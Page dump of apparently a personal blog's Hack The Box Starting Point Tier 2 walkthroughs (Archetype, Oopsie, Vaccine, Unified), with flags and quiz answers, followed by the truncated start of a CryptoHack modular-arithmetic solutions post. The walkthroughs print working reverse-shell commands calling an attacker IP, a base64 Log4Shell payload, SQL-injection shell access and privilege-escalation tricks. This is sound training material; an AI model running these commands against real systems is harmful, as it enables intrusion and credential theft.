18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 # Nmap 7.92 scan initiated Wed Nov 2 14:28:03 2022 as: nmap -sC -sV -oA nmap/archetype 10.129.91.127 Nmap scan report for 10.129.91.127 Host is up (0.074s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM | ms-sql-ntlm-info: | Target_Name: ARCHETYPE | NetBIOS_Domain_Name: ARCHETYPE | NetBIOS_Computer_Name: ARCHETYPE | DNS_Domain_Name: Archetype | DNS_Computer_Name: Archetype |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2022-11-02T18:27:24 |_Not valid after: 2052-11-02T18:27:24 |_ssl-date: 2022-11-02T18:28:25+00:00; -1s from scanner time. Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2022-11-02T18:28:14 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3) | Computer name: Archetype | NetBIOS computer name: ARCHETYPE\\x00 | Workgroup: WORKGROUP\\x00 |_ System time: 2022-11-02T11:28:15-07:00 | ms-sql-info: | 10.129.91.127:1433: | Version: | name: Microsoft SQL Server 2017 RTM | number: 14.00.1000.00 | Product: Microsoft SQL Server 2017 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_clock-skew: mean: 1h23m59s, deviation: 3h07m51s, median: -1s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Nov 2 14:28:26 2022 -- 1 IP address (1 host up) scanned in 22.75 seconds smb smb is open so:\nsmbclient -N -L 10.129.91.127 command tags:\n-N | --no-pass: suppresses the normal password prompt from the client to the user. -L | --list: list available services on the server We can connect to the backups service without a password via:\nsmbclient \\\\\\\\10.129.91.127\\\\backups The only file housed here is prod.dtsConfig.\nfile: prod.dtsConfig\n1 2 3 4 5 6 7 8 \u0026lt;DTSConfiguration\u0026gt; \u0026lt;DTSConfigurationHeading\u0026gt; \u0026lt;DTSConfigurationFileInfo GeneratedBy=\u0026#34;...\u0026#34; GeneratedFromPackageName=\u0026#34;...\u0026#34; GeneratedFromPackageID=\u0026#34;...\u0026#34; GeneratedDate=\u0026#34;20.1.2019 10:01:34\u0026#34;/\u0026gt; \u0026lt;/DTSConfigurationHeading\u0026gt; \u0026lt;Configuration ConfiguredType=\u0026#34;Property\u0026#34; Path=\u0026#34;\\Package.Connections[Destination].Properties[ConnectionString]\u0026#34; ValueType=\u0026#34;String\u0026#34;\u0026gt; \u0026lt;ConfiguredValue\u0026gt;Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;\u0026lt;/ConfiguredValue\u0026gt; \u0026lt;/Configuration\u0026gt; \u0026lt;/DTSConfiguration\u0026gt; Notably, this file leaks us\nPassword=M3g4c0rp123;User ID=ARCHETYPE\\sql_svc; sql Attempting to connect to sql database using mysql:\nmysql -h 10.129.91.127 --port=1433 -u sql_svc -pM3g4c0rp123 After trying a couple variations of this, I realized that another tool maybe needed to connect to the db. This link mentioned mssqlclient.py. I ran locate mssqlclient.py to search kali for the script.\nConnect via:\npython3 /usr/share/doc/python3-impacket/examples/mssqlclient.py -windows-auth ARCHETYPE/sql_svc@10.129.91.127 Then I used the previous link as well as this cheatsheet for sql commands. Generating command execution seems good:\nEXEC xp_cmdshell \u0026#39;net user\u0026#39;; – privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: EXEC sp_configure \u0026#39;show advanced options\u0026#39;, 1; – priv RECONFIGURE; – priv EXEC sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1; – priv RECONFIGURE; – priv And we have command execution: Then I tried several one-liner reverse shells for powershell, but didn\u0026rsquo;t have any luck. So, I reverted back to the netcat binary (nc64.exe) to spin up a reverse shell.\nTo host this file to the box:\npython3 -m http.server Additionally, start nc locally for the reverse shell:\nnc -lvnp 1337 Download the binary and run:\nxp_cmdshell \u0026#34;powershell.exe cd c:\\Users\\Public; wget http://10.10.14.232:8000/nc64.exe -outfile nc64.exe; .\\nc64.exe -e cmd.exe 10.10.14.232 1337\u0026#34; After a bit of poking around, I found this:\nDirectory: C:\\Users\\sql_svc\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/25/2020 6:37 AM 32 user.txt file: user.txt:\n1 3e7b102e78218e935bf3f4951fec21a3 privesc Now we can look into becoming root. One great tool for automating this process is winPEAS. Just download it locally and then host it on a python server and download it in the reverse shell!\nAs I was scrolling through the output, a few things stood out:\n͹ Enumerating Security Packages Credentials Version:NetNTLMv2 Hash: sql_svc::ARCHETYPE:1122334455667788:947576aa2fadb0cbbee6e345caee3fc6:0101000000000000ec105ee002efd8013a4c4936e65e1a2e0000000008003000300000000000000000000000003000004961ea35a68c9880c3eabe5d1edabb04866d05ca16c6fe9706906f3be985311d0a00100000000000000000000000000000000000090000000000000000000000 I decided to check the console history first:\ntype C:\\Users\\sql_svc\\AppData\\Roaming\\Microsoft\\Windows\\Powershell\\PSReadline/ConsoleHost_history.txt file: ConsoleHost_history.txt\n1 2 net.exe use T: \\\\Archetype\\backups /user:administrator MEGACORP_4dm1n!! exit Now we can revert back to impacket tools and use psexec.py:\npython3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:MEGACORP_4dm1n\\!\\!@10.129.91.127 Finally, print out the flag.\ntype C:\\Users\\Administrator\\Desktop\\root.txt Questions Which TCP port is hosting a database server? 1433 What is the name of the non-Administrative share available over SMB? backups What is the password identified in the file on the SMB share? M3g4c0rp123 What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server? mssqlclient.py What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell? xp_cmdshell What script can be used in order to search possible paths to escalate privileges on Windows hosts? winPEAS What file contains the administrator\u0026rsquo;s password? ConsoleHost_history.txt user flag:3e7b102e78218e935bf3f4951fec21a3\nroot flag:b91ccec3305e98240082d4474b848528\nOopsie nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Nmap 7.92 scan initiated Thu Nov 3 01:03:34 2022 as: nmap -sC -sV -oA nmap/oopsie -T4 10.129.28.128 Nmap scan report for 10.129.28.128 Host is up (0.071s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA) | 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA) |_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Welcome |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Nov 3 01:03:44 2022 -- 1 IP address (1 host up) scanned in 10.62 seconds http Start with http. Off the bat, I noticed that megacorp.com is likely their domain since admin@megacorp.com is a listed email. Other than that, the landing page seemed useless.\nTime for gobuster:\nsudo gobuster dir -u http://10.129.28.128 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o gobuster.out -z ... /images (Status: 301) [Size: 315] [--\u0026gt; http://10.129.28.128/images/] /.html (Status: 403) [Size: 278] /.php (Status: 03) [Size: 278] /js (Status: 301) [Size: 311] [--\u0026gt; http://10.129.28.128/js/] /themes (Status: 301) [Size: 315] [--\u0026gt; http://10.129.28.128/themes/] /css (Status: 301) [Size: 312] [--\u0026gt; http://10.129.28.128/css/] /.htm (Status: 403) [Size: 278] /uploads (Status: 301) [Size: 316] [--\u0026gt; http://10.129.28.128/uploads/] /. (Status: 200) [Size: 10932] /fonts (Status: 301) [Size: 314] [--\u0026gt; http://10.129.28.128/fonts/] /.htaccess (Status: 403) [Size: 278] /.phtml (Status: 403) [Size: 278] /.htc (Status: 403) [Size: 278] /.html_var_DE (Status: 403) [Size: 278] /server-status (Status: 403) [Size: 278] /.htpasswd (Status: 403) [Size: 278] /.html. (Status: 403) [Size: 278] /.html.html (Status: 403) [Size: 278] /.htpasswds (Status: 403) [Size: 278] /.htm. (Status: 403) [Size: 278] /.htmll (Status: 403) [Size: 278] /.phps (Status: 403) [Size: 278] /.html.old (Status: 403) [Size: 278] /.ht (Status: 403) [Size: 278] /.html.bak (Status: 403) [Size: 278] /.htm.htm (Status: 403) [Size: 278] /.htgroup (Status: 403) [Size: 278] /.hta (Status: 403) [Size: 278] /.html1 (Status: 403) [Size: 278] /.html.LCK (Status: 403) [Size: 278] /.html.printable (Status: 403) [Size: 278] /.htm.LCK (Status: 403) [Size: 278] /.htaccess.bak (Status: 403) [Size: 278] /.html.php (Status: 403) [Size: 278] /.htx (Status: 403) [Size: 278] /.htmls (Status: 403) [Size: 278] /cdn-cgi (Status: 301) [Size: 316] [--\u0026gt; http://10.129.28.128/cdn-cgi/] /.htlm (Status: 403) [Size: 278] /.htm2 (Status: 403) [Size: 278] /.html- (Status: 403) [Size: 278] /.htuser (Status: 403) [Size: 278] /cdn-cgi seemed strange and stood out. After a quick search, we find this relates to Cloudflare. Maybe there is a login page?\nhttp://10.129.28.128/cdn-cgi/login/ works!\nI tried some basic usernames and passwords, but no luck. Let\u0026rsquo;s just login as a guest for now:\nLooks like the website is using php. Also, if we change the id in the url, we are able to change the Account, Branding, and Clients tab output. My first thought was to check the cookies to see if we can\u0026rsquo;t edit something.\nCombining these ideas of the cookies and the id, I quickly unlocked the Uploads tab. I guess upload a php reverse shell.\nNow to find where this file was uploaded, and how to run it. /uploads seems like a plausible place to look (we saw this from our first scan).\nFlag is found in /home/robert/user.txt\nfile: user.txt\n1 f2c74ee8db7983851ab2a96a44eb7981 python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; The above command gives us a functional shell\nexport TERM=xterm The above command lets us clear the screen.\nAfter a bit of looking around, I found the www directories and went searching through that (/var/www/html/cdn-cgi/login). This lead to:\nindex.php:if($_POST[\u0026#34;username\u0026#34;]===\u0026#34;admin\u0026#34; \u0026amp;\u0026amp; $_POST[\u0026#34;password\u0026#34;]===\u0026#34;MEGACORP_4dm1n!!\u0026#34;) index.php:\u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; placeholder=\u0026#34;Password\u0026#34; /\u0026gt; file: db.php\n1 2 3 \u0026lt;?php $conn = mysqli_connect(\u0026#39;localhost\u0026#39;,\u0026#39;robert\u0026#39;,\u0026#39;M3g4C0rpUs3r!\u0026#39;,\u0026#39;garage\u0026#39;); ?\u0026gt; We can now go from www-data to robert via su robert and put in his password M3g4C0rpUs3r!\nprivesc Time for linpeas. I simply downloaded the .sh file locally, hosted it on a python server, and then downloaded it on the reverse shell.\nOn the first look through, the bugtracker group stood out – especially since there is an unknown SUID (Set owner User ID) binary called /usr/bin/bugtracker.\nltrace is a tool that allows you to run a binary and see the libraries that are being called. This will help give us a better idea of what is going on under the hood.\nltrace /usr/bin/bugtracker The above command gives us the output:\nSince system(\u0026quot;cat...\u0026quot;) is being run, we can simply update the $path environment variable to point to point to our own malicious cat such as a /bin/sh shell that will keep the admin privileges. Like so:\nQuestions With what kind of tool can intercept web traffic? proxy What is the path to the directory on the webserver that returns a login page? /cdn-cgi/login What can be modified in Firefox to get access to the upload page? cookie What is the access ID of the admin user? 34322 On uploading a file, what directory does that file appear in on the server? /uploads What is the file that contains the password that is shared with the robert user? db.php What executable is run with the option \u0026ldquo;-group bugtracker\u0026rdquo; to identify all files owned by the bugtracker group? find Regardless of which user starts running the bugtracker executable, what\u0026rsquo;s user privileges will use to run? root What SUID stands for? Set owner user id What is the name of the executable being called in an insecure manner? cat user flag: f2c74ee8db7983851ab2a96a44eb7981\nroot flag: af13b0bee69f8a877c3faf667f7beacf\nVaccine nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # Nmap 7.92 scan initiated Thu Nov 3 18:03:58 2022 as: nmap -sC -sV -oA nmap/vaccine -T4 10.129.199.211 Nmap scan report for 10.129.199.211 Host is up (0.070s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.66 | Logged in as ftpuser | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA) | 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA) |_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: MegaCorp Login | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Nov 3 18:04:09 2022 -- 1 IP address (1 host up) scanned in 10.79 seconds ftp ftp is open on port 21 and anonymous mode is enabled. Found a file named backup.zip, however the files are password protected on unzipping. john has a tool called zip2john that can allow us to convert his file to hash, and ultimately try to crack it.\nzip2john backup.zip \u0026gt; zip.hash john -w=/usr/share/wordlists/rockyou.txt zip.hash ... backup.zip:741852963::backup.zip:style.css, index.php:backup.zip 1 password hash cracked, 0 left 741852963 turns out to be the password for the zip!\nTaking a look into index.php gives us some password information:\nhash_md5(???) = \u0026#34;2cb42f8734ea607eefed3b70af13bbd3\u0026#34; md5lookup tells us the password is qwerty789\nhttp http is also open, so it is likely they have a website.\nNow lets try the credentials we found admin:qwerty789\nAfter looking around, the only thing that seemed potentially vulnerable on the webpage was the search feature. This could be injectable via sqlmap. I first threw the website into burpsuite, copied the GET request of the search, and then saved this to a file called get.request.\nsqlmap -r get.request -p search From here, I started looking around the databases.\nsqlmap -r get.request -p search --search -C \u0026#39;password\u0026#39; There could be valuable columns in pg_catalog, but I noticed a command flag called --os-shell in sqlmap\u0026rsquo;s man pages. After running this I actually got a shell (even better)!\nTime for a reverse shell – I just found these payloads for bash.\nbash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.66/1337 0\u0026gt;\u0026amp;1\u0026#34; I then used pwncat to help keep a stable shell and listen on port 1337.\nfind / -name user.txt 2\u0026gt;/dev/null file: user.txt\n1 ec9b13ca4d6229cd5cc1e09980965bf7 ssh When starting privesc, I found something valuable for ssh (Secure Shell).\ncd /; grep -R password Looks like we can now ssh into the server directly instead of hosting an unstable reverse shell.\nssh postgres@10.129.199.211` (P@s5w0rd!) privesc We can then try to escalate privs. Let\u0026rsquo;s start with the basics like id and sudo -l\nLooks like we can edit pg_hba.conf with sudo privs by using vi. So I tried the basic payload to get a shell.\nsudo /bin/vi /etc/postgresql/11/main/pg_hba.conf (in vi) :set shell=/bin/sh` :shell Questions Besides SSH and HTTP, what other service is hosted on this box? ftp This service can be configured to allow login with any password for specific username. What is that username? anonymous What is the name of the file downloaded over this service? backup.zip What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts? zip2john What is the password for the admin user on the website? qwerty789 What option can be passed to sqlmap to try to get command execution via the sql injection? --os-shell What program can the postgres user run as root using sudo? vi user flag: ec9b13ca4d6229cd5cc1e09980965bf7\nroot flag: dd6e058e814260bc70e9bbdef2715849\nUnified nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 # Nmap 7.92 scan initiated Fri Nov 4 22:29:03 2022 as: nmap -sC -sV -oA nmap/unified -T4 10.129.186.136 Nmap scan report for 10.129.186.136 Host is up (0.073s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:Cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 6789/tcp open ibm-db2-admin? 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 431 | Date: Sat, 05 Nov 2022 02:29:11 GMT | Connection: close | \u0026lt;!doctype html\u0026gt;\u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;HTTP Status 404 | Found\u0026lt;/title\u0026gt;\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}\u0026lt;/style\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;\u0026lt;h1\u0026gt;HTTP Status 404 | Found\u0026lt;/h1\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; | GetRequest, HTTPOptions: | HTTP/1.1 302 | Location: http://localhost:8080/manage | Content-Length: 0 | Date: Sat, 05 Nov 2022 02:29:11 GMT | Connection: close | RTSPRequest, Socks5: | HTTP/1.1 400 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 435 | Date: Sat, 05 Nov 2022 02:29:11 GMT | Connection: close | \u0026lt;!doctype html\u0026gt;\u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;HTTP Status 400 | Request\u0026lt;/title\u0026gt;\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}\u0026lt;/style\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;\u0026lt;h1\u0026gt;HTTP Status 400 |_ Request\u0026lt;/h1\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; |_http-open-proxy: Proxy might be redirecting requests |_http-title: Did not follow redirect to https://10.129.186.136:8443/manage 8443/tcp open ssl/nagios-nsca Nagios NSCA | http-title: UniFi Network |_Requested resource was /manage/account/login?redirect=%2Fmanage | ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US | Subject Alternative Name: DNS:UniFi | Not valid before: 2021-12-30T21:37:24 |_Not valid after: 2024-04-03T21:37:24 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 4 22:31:59 2022 -- 1 IP address (1 host up) scanned in 175.56 seconds http Going to 10.129.186.136:8080 redirects us to 10.129.186.136:8443 and shows a login page:\nAfter a quick search, I found that Unifi 6.4.54 is vulnerable to CVE-2021-44228 in an in-depth post walk-through. I simply followed this walk-through to get a reverse shell!\nlog4j (via HTB Writeup)\n\u0026ldquo;JNDI (Java Naming and Directory Interface) API . By making calls to this API, applications locate resources and other program objects. A resource is a program object that provides connections to systems, such as database servers and messaging systems.\nLDAP (Lightweight Directory Access Protocol) is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over the Internet or a Network. The default port that LDAP runs on is port 389.\u0026rdquo;\nImportant note: you must remove the spaces from the command listed in the above writeup in order to successfully get a reverse shell:\njava -jar target/RogueJndi-1.1.jar --command \u0026#34;bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMjUvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}\u0026#34; --hostname \u0026#34;10.10.14.25\u0026#34; From here, we can easily get the user.txt\nprivesc The tutorial continues to discuss how to actually interact with mongodb in order to become an administrator and access the website. One way to do this is to update the administrator password already stored. This is done by:\nCreating a sha-512 has for our new password unified\n$ mkpasswd -m sha-512 unified $6$dDywalcPwNgl3LkM$Ex3SObZFkVQ5kMk4/Cmur7I9qDDKOyLNLrYbHGqt0JGz49G8fRb9KIAvFMS3AS8jGuOU/4nY5H5OtNq9/Qmpl1 Looking through the ace database for the administrator user.\nmongo --port 27117 ace --eval \u0026#34;db.admin.find().forEach(printjson);\u0026#34; To update administrator\u0026rsquo;s password to unified, we simply need to run:\nmongo --port 27117 ace --eval \u0026#39;db.admin.update({\u0026#34;_id\u0026#34;: ObjectId(\u0026#34;61ce278f46e0fb0012d47ee4\u0026#34;)},{$set:{\u0026#34;x_shadow\u0026#34;:\u0026#34;$6$dDywalcPwNgl3LkM$Ex3SObZFkVQ5kMk4Cmur7I9qDDKOyLNLrYbHGqt0JGz49G8fRb9KIAvFMS3AS8jGuOU/4nY5H5OtNq9/Qmpl1\u0026#34;}})\u0026#39; Bingo! administrator:unified got us in!\nAnd under settings there\u0026rsquo;s some valuable information!\nroot:NotACrackablePassword4U2022\nThen just:\nssh root@10.129.186.136 \u0026hellip;and get the flag\nQuestions Which are the first four open ports? 22,6789,8080,8443 What is title of the software that is running running on port 8443? UniFi Network What is the version of the software that is running? 6.4.54 What is the CVE for the identified vulnerability? CVE-2021-44228 What protocol does JNDI leverage in the injection? ldap What tool do we use to intercept the traffic, indicating the attack was successful? tcpdump What port do we need to inspect intercepted traffic for? 389 What port is the MongoDB service running on? 27117 What is the default database name for UniFi applications? ace What is the function we use to enumerate users within the database in MongoDB? db.admin.find() What is the function we use to update users within the database in MongoDB? db.admin.update() What is the password for the root user? NotACrackablePassword4U2022 user flag 6ced1a6a89e666c0620cdb10262ba127\nroot flag: e50bc93c75b634e4b272d2f771c33681\n","permalink":"https://woadey.github.io/posts/htb/startingpoint-tier2/","summary":"Short writeups for each of the \u003ca href=\"https://app.hackthebox.com/starting-point\"\n title=\"Starting Point\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eStarting Point\u003c/a\u003e boxes on HTB – Tier 2","title":"HTB Writeup: Learn the basics of Penetration Testing – Tier 2"},{"content":"Greatest Common Divisor The Greatest Common Divisor (GCD), sometimes known as the highest common factor, is the largest number which divides two positive integers (a,b).\nFor a = 12, b = 8 we can calculate the divisors of a: {1,2,3,4,6,12} and the divisors of b: {1,2,4,8}. Comparing these two, we see that gcd(a,b) = 4.\nNow imagine we take a = 11, b = 17. Both a and b are prime numbers. As a prime number has only itself and 1 as divisors, gcd(a,b) = 1.\nWe say that for any two integers a,b, if gcd(a,b) = 1 then a and b are coprime integers.\nIf a and b are prime, they are also coprime. If a is prime and b \u0026lt; a then a and b are coprime. There are many tools to calculate the GCD of two integers, but for this task we recommend looking up Euclid\u0026rsquo;s Algorithm.\nTry coding it up; it\u0026rsquo;s only a couple of lines. Use a = 12, b = 8 to test it.\nNow calculate gcd(a,b) for a = 66528, b = 52920 and enter it below.\nEuclid's Algorithm pseudocode:\n1 2 3 4 5 6 7 function gcd(a, b) while a ≠ b if a \u0026gt; b a := a − b else b := b − a return a 1 2 3 4 5 function gcd(a, b) if b = 0 return a else return gcd(b, a mod b) Solution 1 2 3 4 5 def gcd(a,b): if b == 0: return a else: return gcd(b, a % b) \u0026gt; gcd(12, 8) 4 \u0026gt; gcd(66528, 52920) 1512 Extended GCD Let a and b be positive integers.\nThe extended Euclidean algorithm is an efficient way to find integers u,v such that a * u + b * v = gcd(a,b)\nUsing the two primes p = 26513, q = 32321, find the integers u,v such that p * u + q * v = gcd(p,q)\nEnter whichever of u and v is the lower number as the flag.\nSolution I watched this video and read this article to better understand the extended Euclidean Algorithm.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # source: https://www.geeksforgeeks.org/python-program-for-basic-and-extended-euclidean-algorithms-2/ # function for extended Euclidean Algorithm def gcdExtended(a, b): # Base Case if a == 0 : return b,0,1 gcd,x1,y1 = gcdExtended(b%a, a) # Update x and y using results of recursive call x = y1 - (b//a) * x1 y = x1 return gcd,x,y \u0026gt; gcdExtended(26513, 32321) (1, 10245, -8404) \u0026gt; min(10245, -8404) -8404 Modular Arithmetic 1 Imagine you lean over and look at a cryptographer\u0026rsquo;s notebook. You see some notes in the margin:\n4 + 9 = 1 5 - 7 = 10 2 + 3 = 5 At first you might think they\u0026rsquo;ve gone mad. Maybe this is why there are so many data leaks nowadays you\u0026rsquo;d think, but this is nothing more than modular arithmetic modulo 12 (albeit with some sloppy notation).\nYou may not have been calling it modular arithmetic, but you\u0026rsquo;ve been doing these kinds of calculations since you learnt to tell the time (look again at those equations and think about adding hours).\nFormally, \u0026ldquo;calculating time\u0026rdquo; is described by the theory of congruences. We say that two integers are congruent modulo m if a ≡ b mod m.\nAnother way of saying this, is that when we divide the integer a by m, the remainder is b. This tells you that if m divides a (this can be written as m | a) then a ≡ 0 mod m.\nCalculate the following integers:\n11 ≡ x mod 6 8146798528947 ≡ y mod 17 The solution is the smaller of the two integers.\nSolution if a ≡ b mod m, then b ≡ a mod m\nSo:\n11 ≡ x mod 6 -\u0026gt; x ≡ 11 mod 6 -\u0026gt; x ≡ 5 8146798528947 ≡ y mod 17 -\u0026gt; y ≡ 8146798528947 mod 17 -\u0026gt; y ≡ 4 \u0026gt; min(11 % 6, 8146798528947 % 17) 4 Modular Arithmetic 2 We\u0026rsquo;ll pick up from the last challenge and imagine we\u0026rsquo;ve picked a modulus p, and we will restrict ourselves to the case when p is prime.\nThe integers modulo p define a field, denoted Fp.\nA finite field Fp is the set of integers {0,1,...,p-1}, and under both addition and multiplication there is an inverse element b for every element a in the set, such that a + b = 0 and a * b = 1.\nLets say we pick p = 17. Calculate 3^17 mod 17. Now do the same but with 5^17 mod 17.\nWhat would you expect to get for 7^16 mod 17? Try calculating that.\nThis interesting fact is known as Fermat\u0026rsquo;s little theorem. We\u0026rsquo;ll be needing this (and its generalizations) when we look at RSA cryptography.\nNow take the prime p = 65537. Calculate 273246787654^65536 mod 65537.\nDid you need a calculator?\nSolution In summary, Fermat\u0026rsquo;s Little Theorem states that:\nif p is prime, for every integer a: pow(a, p) = a mod p and, if p is prime and a is an integer coprime with p: pow(a, p-1) = 1 mod p So:\n1 2 3 4 5 6 7 from math import gcd a = 273246787654 p = 65537 if gcd(a,p) == 1: print(\u0026#34;Coprime! Solution is 1\u0026#34;) Modular Inverting As we\u0026rsquo;ve seen, we can work within a finite field Fp, adding and multiplying elements, and always obtain another element of the field.\nFor all elements g in the field, there exists a unique integer d such that g * d ≡ 1 mod p.\nThis is the multiplicative inverse of g.\nExample: 7 * 8 = 56 ≡ 1 mod 11\nWhat is the inverse element: 3 * d ≡ 1 mod 13?\nSolution Followed this tutorial.\n1 2 3 4 5 6 # a = 3 # c = 13 def imod(a,c): for i in range(c-1): if a*i == 1%c: return i \u0026gt; print(imod(7,11)) 8 \u0026gt; print(imod(3,13)) 9 Alternate solution(s):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # source: CryptoHack user @Hon \u0026#39;\u0026#39;\u0026#39; Looking again at Fermat\u0026#39;s little theorem... if p is prime, for every integer a: pow(a, p) = a mod p and, if p is prime and a is an integer coprime with p: pow(a, p-1) = 1 mod p We can do some magic like this: Note: i\u0026#39;ll use math notation, so a^b means pow(a,b) a^(p-1) = 1 (mod p) a^(p-1) * a^-1 = a^-1 (mod p) a^(p-2) * a * a^-1 = a^-1 (mod p) a^(p-2) * 1 = a^-1 (mod p) So finally we have: a^(p-2) = a^-1 (mod p) So, doing a^(p-2) and then (mod p) we can achieve our result \u0026#39;\u0026#39;\u0026#39; a = 3 p = 13 print(pow(a,p-2) % p) 1 2 3 4 5 6 7 8 9 10 11 12 # source: CryptoHack user @DaBaddest \u0026#39;\u0026#39;\u0026#39; The problem given is 3 * d ≡ 1 mod 13 To calculate d we can divide both sides by 3 which gives us d = (1/3) * 1 mod 13 which is 